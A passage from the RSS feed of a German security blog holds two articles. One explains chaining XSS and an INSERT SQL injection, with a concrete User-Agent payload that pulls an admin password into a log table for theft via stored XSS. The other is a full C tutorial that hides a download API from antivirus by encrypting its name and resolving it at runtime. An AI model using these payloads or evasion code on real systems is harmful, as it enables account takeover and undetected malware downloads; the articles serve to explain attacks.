<p>Ich habe ja schon &#246;fter erw&#228;hnt, dass XSS-L&#252;cken allgemein nicht als harmlos einzustufen sind. K&#246;nnen XSS-L&#252;cken auch zur Kompromittierung eines Systems f&#252;hren? Einige w&#252;rden sich &#252;ber diese Frage sicherlich am&#252;sieren.</p>
<p>Dabei ist es gar nicht mal so unrealistisch. Nat&#252;rlich geht sowas nicht mit XSS alleine, aber in Kombination mit anderen Sicherheitsl&#252;cken.</p>
<p>Das gleiche gilt auch f&#252;r harmlose Sicherheitsl&#252;cken - wie zum Beispiel Information Disclosure, HTML-Injection oder Cross-Site Authentication (XSA).</p>
<h2 class="headline">Proof-Of-Concept</h2>
<p>Da solche Situationen unterschiedlich sein k&#246;nnen und man kein allgemeines Beispiel nennen kann, werde ich das ganze anhand von zwei Szenarien demonstrieren.</p>
<p>Das zweite Szenario ist ein "Real-World" Beispiel - basierend auf einem Source Code Audit, den ich vor kurzem bei einem CMS gemacht habe.</p>
<h2 class="headline">Szenario 1 - Von XSS zum Root-Zugriff</h2>
<p>Ein Angreifer findet eine XSS-L&#252;cke in einer Forensoftware. Dort werden Cookies verwendet, um den Benutzern die M&#246;glichkeit zu bieten l&#228;ngere Zeit angemeldet zu bleiben.</p>
<p>In diesen Cookies werden die Session-IDs &#252;bermittelt. Wenn ein Benutzer eingeloggt ist, die Seite verl&#228;sst und sp&#228;ter wiederkommt, kann der Benutzer anhand der vom Browser &#252;bermittelten SID identifiziert werden - der Benutzer bleibt also eingeloggt.</p>
<p>Der Angreifer pr&#228;pariert nun einen Link oder eine Webseite so, dass die Cookie-Informationen mithilfe der XSS-L&#252;cke unbemerkt an den Angreifer &#252;bermittelt werden.</p>
<p>Diesen Link schickt er an einem Admin des Forums. Somit erh&#228;lt er die SID des Admins und kann sie in seine eigene Cookie-Datei eintragen. Wenn der Angreifer nun die Seite besucht, wird die g&#252;ltige SID erkannt und der Angreifer ist als Admin eingeloggt. Er hat die Session also &#252;bernommen. Diese Angriffstechnik ist auch als <strong>Session Hijacking</strong> bekannt.</p>
<p>Der Angreifer hat nun Adminrechte und kann einiges mehr anstellen. In diesem Beispiel kann der Angreifer im Admin-Bereich Templates editieren und dort PHP Code injizieren.</p>
<p>Dadurch verschafft er sich schonmal Zugriff auf dem Webserver und hat Zugriff auf s&#228;mtliche Dateien, die dort liegen. Die Server-Software bzw. OS Version ist nicht auf dem neuesten Stand und der Angreifer nutzt ein <strong>Local Root Exploit</strong>, mit dem er sich Root-Zugriff auf dem Server verschafft. Ziel erreicht.</p>
<p>Einige denken jetzt vielleicht "als ob das so einfach ist" - ist es auch oft nicht. Aber aus eigenen Erfahrungen kann ich sagen, dass soetwas sehr schnell Realit&#228;t werden kann.</p>
<h2 class="headline">Szenario 2 - Die scheinbar unbrauchbare SQL Injection</h2>
<p>Dieses Szenario ist wie gesagt ein "Real-World" Beispiel aus einem CMS, das ich hier aus Sicherheitsgr&#252;nden nicht nennen werde. Den Code habe ich etwas abge&#228;ndert.</p>
<p>Das verwundbare Script (vereinfachtes Snippet):</p>
<pre class="prettyprint"><code>&lt;?php
  // ...

  function getbrowser($useragent)
  {
    if(preg_match(&quot;=MSIE ([0-9]{1,2}).[0-9]{1,2}=&quot;, $useragent, $browser))
      return &quot;Internet Explorer &quot;.$browser[1];
    elseif(preg_match(&quot;=^Mozilla.*Firefox\/(.*)$=&quot;, $useragent, $browser))
      return(&quot;Firefox &quot;.$browser[1]);
    elseif(preg_match(&quot;=Mozilla/5.[0-9]{1,2}=&quot;, $useragent))
      return &quot;Netscape Navigator 6&quot;;
    elseif(preg_match(&quot;=Mozilla/([0-9]{1,2}).[0-9]{1,2}=&quot;, $useragent, $browser))
      return &quot;Netscape Navigator &quot;.$browser[1];
    else
      return 0;
  }

  function getreferrer($referrer)
  {
    if(!empty($referrer))
    {
      $urlpart = parse_url($referrer);
      $url = &#039;http://&#039;.$urlpart[&#039;host&#039;].$urlpart[&#039;path&#039;];
      return $url;
    }
    else
      return 0;
  }

  $ip = $_SERVER[&#039;REMOTE_ADDR&#039;];
  $br = getbrowser($_SERVER[&#039;HTTP_USER_AGENT&#039;]);
  $ref = (isset($_SERVER[&#039;HTTP_REFERER&#039;]) ? getreferer($_SERVER[&#039;HTTP_REFERER&#039;]) : &#039;&#039;);

  mysql_query(&quot;INSERT INTO prefix_table (browser,ip,ref)
               VALUES(&#039;&quot;.$br.&quot;&#039;,&#039;&quot;.$ip.&quot;&#039;,&#039;&quot;.$ref.&quot;&#039;)&quot;);

  // ...
?&gt;</code></pre>
<p>Nun analysieren wir mal eben diesen Code.</p>
<p>Die IP-Adresse, der Browser und der Referrer werden in Variablen gespeichert. Anschlie&szlig;end werden die Werte dieser Variablen mit einer INSERT SQL-Anweisung in eine Datenbank-Tabelle eingef&#252;gt.</p>
<p>Wenn die Variablen nicht ausreichend validiert werden, ist SQL Injection m&#246;glich.</p>
<p>Die Variable &raquo;ip&laquo; kann schonmal keine Benutzereingaben enthalten, da der Wert von $_SERVER['REMOTE_ADDR'] nicht ver&#228;ndert werden kann.</p>
<p>F&#252;r den Browser und den Referrer gibt es eigene Funktionen zur Validierung. Moment ... habe ich Validierung gesagt?</p>
<p>Bei der Funktion getreferrer wird der Wert von $_SERVER['HTTP_REFERER'] nur einmal durch die Funktion parse_url() gejagt und anschlie&szlig;end werden die ersten beiden Teile (Host und Pfad) zur&#252;ck gegeben.</p>
<p>Die Funktion parse_url() ist allerdings nicht zur Validierung von URLs gedacht, sondern nur zum Parsen von URLs.</p>
<blockquote><p>Diese Funktion ist <strong>nicht</strong> dazu gedacht, einen gegebenen URL zu validieren, sondern es gliedert einen URL in die unten aufgef&#252;hrten Bestandteile. Unvollst&#228;ndige URLs werden als Parameter akzeptiert, parse_url() versucht, sie bestm&#246;glich zu analysieren. <em>Quelle: php.net</em></p></blockquote>
<p>Die Variable &raquo;ref&laquo; kann also beliebige Benutzereingaben enthalten, da die Funktion parse_url() keine Filterung / Validierung erm&#246;glicht.</p>
<p>Wie sieht's mit der Funktion getbrowser aus? Dort wird der User-Agent besser validiert, allerdings gibt es einen entscheidenen Fehler in folgender Zeile:</p>
<pre class="prettyprint"><code>elseif(preg_match(&quot;=^Mozilla.*Firefox\/(.*)$=&quot;, $useragent, $browser))</code></pre>
<p>Hier wird der User-Agent mit einem "Muster" bzw. einem Regul&#228;ren Ausdruck verglichen.</p>
<p>Die Funktion liefert den Wert zur&#252;ck, der in den Klammern steht. In diesem Fall: <strong>.*</strong></p>
<p>Die Angabe <strong>.*</strong> bedeutet, dass jedes beliebige Zeichen angegeben werden kann. Und da der Wert von $_SERVER['HTTP_USER_AGENT'] im Browser ver&#228;ndert werden kann, ist diese Validierung nicht sicher.</p>
<p>Folgender String w&#252;rde zum Beispiel funktionieren:</p>
<pre class="srccode"><code>Mozilla1Firefox/foo&#039;</code></pre>
<p>Durch das Apostroph kann aus dem String ausgebrochen werden und eigene Werte k&#246;nnen in die Datenbank-Tabelle eingef&#252;gt werden. Es handelt sich hierbei um eine klassische INSERT SQL-Injection.</p>
<p>Ich m&#246;chte jetzt aber nicht zu sehr auf SQL Injection eingehen - das werde ich in einem anderen Artikel noch ausf&#252;hrlich. Hier geht es nur darum das Passwort des Admins in die Datenbank-Tabelle zu injizieren. Also kurz und knapp - hier die SQL Injection, die ein Angreifer als User-Agent definieren kann, um das Passwort des Admins (anstatt den Referrer) in die Datenbank-Tabelle einzuf&#252;gen:</p>
<pre class="srccode"><code>Mozilla1Firefox/foo&#039;,&#039;127.0.0.1&#039;,(select pass from prefix_user limit 0,1))-- f</code></pre>
<p>Folgende SQL-Anweisung wird nun ausgef&#252;hrt:</p>
<pre class="prettyprint"><code>INSERT INTO prefix_table (browser,ip,ref)
VALUES(&#039;Mozilla1Firefox/foo&#039;,&#039;127.0.0.1&#039;,(SELECT pass FROM prefix_user LIMIT 0,1))</code></pre>
<p>Das Passwort wird also in der Datenbank-Tabelle eingef&#252;gt. Allerdings wird dieser Eintrag nirgendwo auf der Seite wieder ausgegeben und es existiert keine SQL-L&#252;cke in einer SELECT-Abfrage. Wie kommt der Angreifer nun an das Passwort?</p>
<p>Im Admin-Bereich gibt es eine Besucherstatistik. Dort werden diese Inhalte ausgegeben. Normalerweise wird hier zum Beispiel der Referrer ausgegeben - da der Angreifer allerdings das Passwort in die Tabelle injiziert hat, wird das Passwort des Admins ausgegeben. Da der Angreifer auch JavaScript Code in die Tabelle injizieren kann und im Admin-Breich die Ausgabe nicht gefiltert wird, kann das Passwort mithilfe eines injizierten JavaScript Codes an den Angreifer gesendet werden. Hier wird also XSS genutzt, um die SQL Injection brauchbar zu machen und das Passwort auszulesen.</p>
<h2 class="headline">Fazit</h2>
<p>Kreative und versierte Angreifer k&#246;nnen Sicherheitsl&#252;cken kombinieren, um einen erfolgreichen Angriff zu erm&#246;glichen. Eine einfache XSS-L&#252;cke k&#246;nnte zum vollst&#228;ndigen Root-Zugriff f&#252;hren. Eine unbrauchbare SQL Injection wird in Kombination mit XSS brauchbar. Harmlose Sicherheitsl&#252;cken k&#246;nnten das Einstiegstor f&#252;r Angreifer sein.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html" rel="bookmark" title="Permanent Link: PHP Session Sicherheit &#8211; Session Fixation">PHP Session Sicherheit &#8211; Session Fixation</a></li><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sicherheitsluecken-kombinieren.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>API Crypting: Antiviren-Programme austricksen</title>
		<link>http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html</link>
		<comments>http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html#comments</comments>
		<pubDate>Tue, 10 Nov 2009 20:48:22 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[Tricks]]></category>
		<category><![CDATA[Antivirus]]></category>
		<category><![CDATA[Bypass]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Coding]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=26</guid>
		<description><![CDATA[Antiviren-Programme werden immer effektiver. Viele Hersteller geben an, dass ihre Software auch unbekannte Malware durch verd&#228;chtiges Verhalten aufsp&#252;ren kann.
Unter anderem werden bestimmte Funktionen im Programmcode erkannt, die auch oft in Malware verwendet werden. Das ist nat&#252;rlich besonders &#228;rgerlich f&#252;r diejenigen, die legale Software entwickeln, diese Funktionen aber nutzen wollen.
In diesem Artikel zeige ich euch, wie [...]]]></description>
			<content:encoded><![CDATA[<p>Antiviren-Programme werden immer effektiver. Viele Hersteller geben an, dass ihre Software auch unbekannte Malware durch verd&#228;chtiges Verhalten aufsp&#252;ren kann.</p>
<p>Unter anderem werden bestimmte Funktionen im Programmcode erkannt, die auch oft in Malware verwendet werden. Das ist nat&#252;rlich besonders &#228;rgerlich f&#252;r diejenigen, die legale Software entwickeln, diese Funktionen aber nutzen wollen.</p>
<p>In diesem Artikel zeige ich euch, wie einfach dieser Schutz umgangen werden kann.</p>

<h2 class="headline">WinAPI-Funktionen</h2>
<p>Das WinAPI (Windows Application Programming Interface) ist eine Programmierschnittstelle von Microsoft, die Programmierer nutzen k&#246;nnen, um unter Windows Software zu entwickeln. In der MSDN Library werden unter anderem sehr viele WinAPI-Funktionen und deren Parameter (falls vorhanden) genauer erkl&#228;rt. Einige dieser Funktionen werden von Antiviren-Programmen als potenziell gef&#228;hrlich eingestuft, da sie h&#228;ufig in Malware verwendet werden. Zum Beispiel Funktionen, die es erm&#246;glichen eigenen Programmcode in einem fremden Prozess zu injizieren.</p>
<h2 class="headline">URLDownloadToFile</h2>
<p>Mit der WinAPI-Funktion <a href="http://msdn.microsoft.com/en-us/library/ms775123(VS.85).aspx" target="_blank">URLDownloadToFile</a> kann man durch einen simplen Aufruf eine Datei aus dem Internet herunterladen und sie auf dem lokalen Rechner speichern.</p>
<p>Dies ist eine solche Funktion, die von den meisten Antiviren-Programmen ohne Vorwarnung blockiert wird. Auch nicht ohne Grund, denn schlie&#223;lich kann somit jede beliebige Datei heruntergeladen und evtl. anschlie&#223;end auf dem Rechner ausgef&#252;hrt werden. Allderdings kann es auch vorkommen, dass man (als Programmierer) diese Funktion f&#252;r legale Zwecke verwenden will. Zum Beispiel, um neue Updates herunterzuladen.</p>
<p>So k&#246;nnte der Funktionsaufruf in der Programmiersprache C aussehen:</p>
<pre class="prettyprint"><code>#include &lt;windows.h&gt;
#include &lt;urlmon.h&gt;

int main()
{
  HRESULT hDownload = URLDownloadToFile(NULL, &quot;URL&quot;, &quot;SPEICHERORT&quot;, 0, NULL);

  if(hDownload != S_OK)
    return 1;

  return 0;
}</code></pre>
<p>Wobei URL und SPEICHERORT durch richtige Angaben ersetzt werden m&#252;ssen. Ich m&#246;chte aber nicht weiter darauf eingehen, da es nur eine Demonstration darstellt.</p>
<p>In diesem Fall erkennt das Antiviren-Programm den Aufruf bzw. den Funktionsnamen der URLDownloadToFile Funktion und schl&#228;gt Alarm.</p>
<h2 class="headline">Funktionsnamen verschl&#252;sseln</h2>
<p>Da die meisten Antiviren-Programme keine Schwierigkeit darin haben den Funktionsnamen aus der Datei zu lesen, kann man als ersten Schritt diesen Funktionsnamen verschl&#252;sseln.</p>
<p>Dabei sind dem Programmierer keine Grenzen gesetzt. Es gen&#252;gt aber meistens eine sehr einfache Verschl&#252;sselung. In diesem Beispiel wird einfach jeder Buchstabe des Funktionsnamens alphabetisch erh&#246;ht. Das hei&#223;t aus A wird B, aus B wird C, usw.</p>
<p>URLDownloadToFile wird also zu VSMEpxompbeUpGjmfB.<br />
Das Antiviren-Programm erkennt somit den eigentlichen Funktionsnamen nicht mehr.</p>
<h2 class="headline">Funktionsnamen entschl&#252;sseln &amp; Speicheradresse aus DLL laden</h2>
<p>Da der Funktionsname verschl&#252;sselt und somit ver&#228;ndert wurde, m&#252;ssen wir diesen wieder entschl&#252;sseln, damit wir die Funktion URLDownloadToFile auch aufrufen k&#246;nnen. Dies machen wir wie bei der Verschl&#252;sselung - nur andersrum.</p>
<p>Aus VSMEpxompbeUpGjmfB wird also wieder URLDownloadToFile. Was dieses hin und her bewirkt? Ganz einfach: Der Funktionsname URLDownloadToFile wird nicht mehr direkt im Programm verwendet, sondern der Verschl&#252;sselte, der wiederum sp&#228;ter zur Laufzeit zu dem eigentlichen Funktionsnamen entschl&#252;sselt wird.</p>
<p>Nun, irgendwie m&#252;ssen wir die URLDownloadToFile Funktion ja aufrufen. Was bringt uns der Funktionsname? Das ist ja keine Funktion, sondern nur eine Zeichenkette.</p>
<p>In Windows werden <a href="http://de.wikipedia.org/wiki/Dynamic_Link_Library" target="_blank">DLL-Dateien</a> verwendet, welche unter anderem Speicheradressen von bestimmten Funktionen beinhalten. Durch diese Speicheradressen k&#246;nnen wir auf die Funktionen zugreifen. Die Adresse der Funktion URLDownloadToFile befindet sich in der urlmon.dll Datei, welche sich in einem Windows System-Ordner befindet. Diese Adresse k&#246;nnen wir mit der WinAPI-Funktion <a href="http://msdn.microsoft.com/en-us/library/ms683212.aspx" target="_blank">GetProcAddress</a> auslesen.</p>
<p>Wir laden die Datei urlmon.dll mithilfe der WinAPI-Funktion <a href="http://msdn.microsoft.com/en-us/library/ms684175.aspx" target="_blank">LoadLibrary</a> zur Laufzeit des Programms und lesen anschlie&#223;end mit GetProcAddress die Speicheradresse der URLDownloadToFile Funktion aus. Um die Adresse der Funktion zu erhalten, m&#252;ssen wir als zweiten Parameter der GetProcAddress Funktion den Funktionsnamen angeben.</p>
<p>Zur Erinnerung: Diesen hatten wir zuvor wieder entschl&#252;sselt.</p>
<p>Somit erhalten wir also die Adresse der Funktion URLDownloadToFile und k&#246;nnen diese in einem eigenen Funktionsaufruf verwenden.</p>
<p>Hier nun ein Beispiel mit Kommentaren:</p>
<pre class="prettyprint"><code>#include &lt;windows.h&gt;
#include &lt;string.h&gt;
#include &lt;stdio.h&gt;

int entschluesseln(char*);

int main()
{
  // Verschluesselter Funktionsname von URLDownloadToFile
  char funktionsname[] = &quot;VSMEpxompbeUpGjmfB&quot;;

  HINSTANCE hDLL;
  // Dieser Variable weisen wir spaeter die Adresse zu
  FARPROC Download;

  // Hier entschluesseln wir den verschluesselten Funktionsnamen
  entschluesseln(funktionsname);

  // Wir laden die DLL-Datei urlmon.dll dynamisch zur Laufzeit
  hDLL = LoadLibrary(&quot;URLMON_DLL&quot;);

  if(hDLL == NULL)
  {
    FreeLibrary(hDLL);
    return 1;
  }

  // Hier lesen wir die Adresse der URLDownloadToFile Funktion aus
  // und weisen sie der Variable Download zu
  Download = GetProcAddress(hDLL, funktionsname);

  if(Download == NULL)
  {
    FreeLibrary(hDLL);
    return 2;
  }

  // Hier ist nun der Aufruf der Funktion URLDownloadToFile
  // Wir koennen hier unsere Variable &quot;Download&quot; verwenden
  // da diese die Speicheradresse von URLDownloadToFile enthaelt
  Download(NULL, &quot;URL&quot;, &quot;SPEICHERORT&quot;, 0, NULL);

  FreeLibrary(hDLL);

  return 0;
}

// Die Funktion zur Entschluesselung
int entschluesseln(char *str)
{
  char buchstabe;
  int i, dezimalwert;

  // Verschluesselter Funktionsname wird Buchstabe fuer Buchstabe entschluesselt
  // Aus VSMEpxompbeUpGjmfB wird also wieder URLDownloadToFile
  for(i = 0; i &lt; strlen(str); i++)
  {
    dezimalwert = (int)str[i];
    dezimalwert -= 1;
    buchstabe = (char)dezimalwert;
    str[i] = buchstabe;
  }

  return 0;
}</code></pre>
<p>URLMON_DLL, URL und SPEICHERORT m&#252;ssen wieder entsprechend durch korrekte Angaben ersetzt werden. Die urlmon.dll befindet sich normalerweise im system32 Ordner. Ihr k&#246;nnt sie aber auch einfach mit der Windows Suchfunktion suchen.</p>
<p>In diesem Beispiel verwenden wir nicht mehr direkt die URLDownloadToFile Funktion, sondern ermitteln einfach die Speicheradresse dieser Funktion. Dadurch k&#246;nnen wir einen eigenen Funktionsnamen f&#252;r diese Funktion verwenden. In diesem Fall “Download”.</p>
<p>Da hier kein direkter Aufruf der URLDownloadToFile Funktion mehr erfolgt und der eigentliche Funktionsname nicht mehr im Programm verwendet wird, erkennt das Antiviren-Programm auch nichts mehr.</p>
<h2 class="headline">Fazit</h2>
<p>Die meisten Antiviren-Programme lassen sich durch sehr einfache Verschl&#252;sselungen und durch dynamische Funktionsaufrufe austricksen. Man sollte nicht zu sehr darauf vertrauen, aber sie auch nicht zu sehr untersch&#228;tzen.</p>
<p>Hier nochmal die Schritte im &#220;berblick:</p>
<ol>
<li>Funktionsname verschl&#252;sseln</li>
<li>Funktionsname zur Laufzeit wieder entschl&#252;sseln</li>
<li>Ben&#246;tigte DLL-Datei ebenfalls zur Laufzeit mit LoadLibrary laden</li>
<li>Speicheradresse der Funktion mit GetProcAddress aus der DLL-Datei lesen</li>
<li>Funktion mit einem eigenen Funktionsnamen mithilfe der Speicheradresse aufrufen</li>
</ol>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/online-multi-engine-malware-scanner.html" rel="bookmark" title="Permanent Link: Online Multi-Engine Malware Scanner">Online Multi-Engine Malware Scanner</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/api-crypting-antiviren-programme-austricksen.html/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

